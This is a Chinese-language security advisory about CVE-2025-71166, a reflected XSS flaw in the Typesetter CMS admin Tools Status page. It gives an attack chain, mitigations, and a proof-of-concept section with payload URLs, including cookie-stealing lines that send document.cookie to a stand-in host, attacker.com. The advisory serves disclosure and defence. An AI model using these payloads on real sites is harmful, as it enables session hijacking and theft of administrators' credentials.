IPBUF安全漏洞报告
English
CVE-2025-71166 CVSS 5.4 中危

CVE-2025-71166 Typesetter CMS 反射型XSS漏洞

披露日期: 2026-01-14

漏洞信息

漏洞编号
CVE-2025-71166
漏洞类型
反射型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Typesetter CMS

相关标签

反射型XSSTypesetter CMSCVE-2025-71166跨站脚本管理后台认证用户会话劫持

漏洞概述

CVE-2025-71166是Typesetter CMS中的一个反射型跨站脚本(XSS)漏洞,CVSS评分为5.4(中危)。该漏洞存在于管理界面的Tools Status功能中,具体位于include/admin/Tools/Status.php文件中。漏洞的根本原因是在处理move消息时,path参数被直接反射到HTML输出中而未进行适当的输出编码。攻击者可以利用此漏洞通过精心构造的恶意输入注入HTML或JavaScript代码,当认证用户访问包含恶意脚本的页面时,攻击代码将在用户浏览器中执行,从而窃取会话Cookie、劫持用户会话或执行其他恶意操作。由于该漏洞需要低权限认证用户配合用户交互才能触发,因此攻击复杂度相对较高,但仍然对Typesetter CMS的安全性构成威胁。所有5.1及以下版本均受此漏洞影响。

技术细节

该漏洞是一个典型的反射型XSS(Cross-Site Scripting)漏洞,存在于Typesetter CMS的管理后台Tools Status功能模块中。具体问题出在include/admin/Tools/Status.php文件对path参数的处理上。当用户访问该功能并传递包含恶意脚本的path参数时,系统直接将此参数值反射到返回的HTML页面中,而没有对其进行适当的HTML实体编码或输入验证。攻击者可以构造形如?path=<script>alert(document.cookie)</script>的恶意URL,并诱导已认证的管理员或低权限用户点击。由于浏览器会执行页面中的JavaScript代码,攻击者可以借此获取用户的会话凭证、执行任意操作或进行进一步的攻击。由于该漏洞位于管理界面,攻击者获取的会话可能具有较高的权限,从而对整个CMS系统造成更大的安全风险。

攻击链分析

STEP 1
步骤1
攻击者识别目标站点使用的Typesetter CMS版本,确认版本<=5.1
STEP 2
步骤2
攻击者构造包含恶意XSS payload的URL,payload嵌入在path参数中
STEP 3
步骤3
攻击者通过钓鱼邮件、社交工程或其他方式诱导已认证的CMS用户点击恶意链接
STEP 4
步骤4
用户浏览器请求恶意URL,服务器将path参数未经过滤地反射到响应HTML中
STEP 5
步骤5
浏览器解析HTML时执行嵌入的恶意JavaScript代码,窃取用户Cookie或执行其他恶意操作
STEP 6
步骤6
攻击者利用窃取的会话凭证进行进一步攻击,如获取管理员权限或篡改网站内容

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-71166 PoC - Reflected XSS in Typesetter CMS Tools Status --> <!-- Attack Scenario:诱骗已认证用户访问以下URL --> <!-- Basic XSS PoC --> https://target-site.com/index.php?%23admin/Tools_Status?path=<script>alert(document.cookie)</script> <!-- Cookie Theft PoC --> https://target-site.com/index.php?%23admin/Tools_Status?path=<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- Session Hijacking PoC --> <script> fetch('https://attacker.com/log?data='+btoa(document.cookie)); </script> <!-- HTML Injection Alternative --> https://target-site.com/index.php?%23admin/Tools_Status?path=<marquee>Malicious Content</marquee>

影响范围

Typesetter CMS <= 5.1

防御指南

临时缓解措施
在官方补丁发布前,可临时采取以下措施:1)限制管理后台访问权限,仅允许受信任的IP地址访问;2)启用HttpOnly和Secure标志的Cookie设置,防止JavaScript访问会话Cookie;3)在Web应用防火墙(WAF)中配置XSS防护规则,拦截包含<script>标签或事件处理器属性的请求;4)提醒管理员不要点击未知来源的链接,尤其是包含特殊字符的URL。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表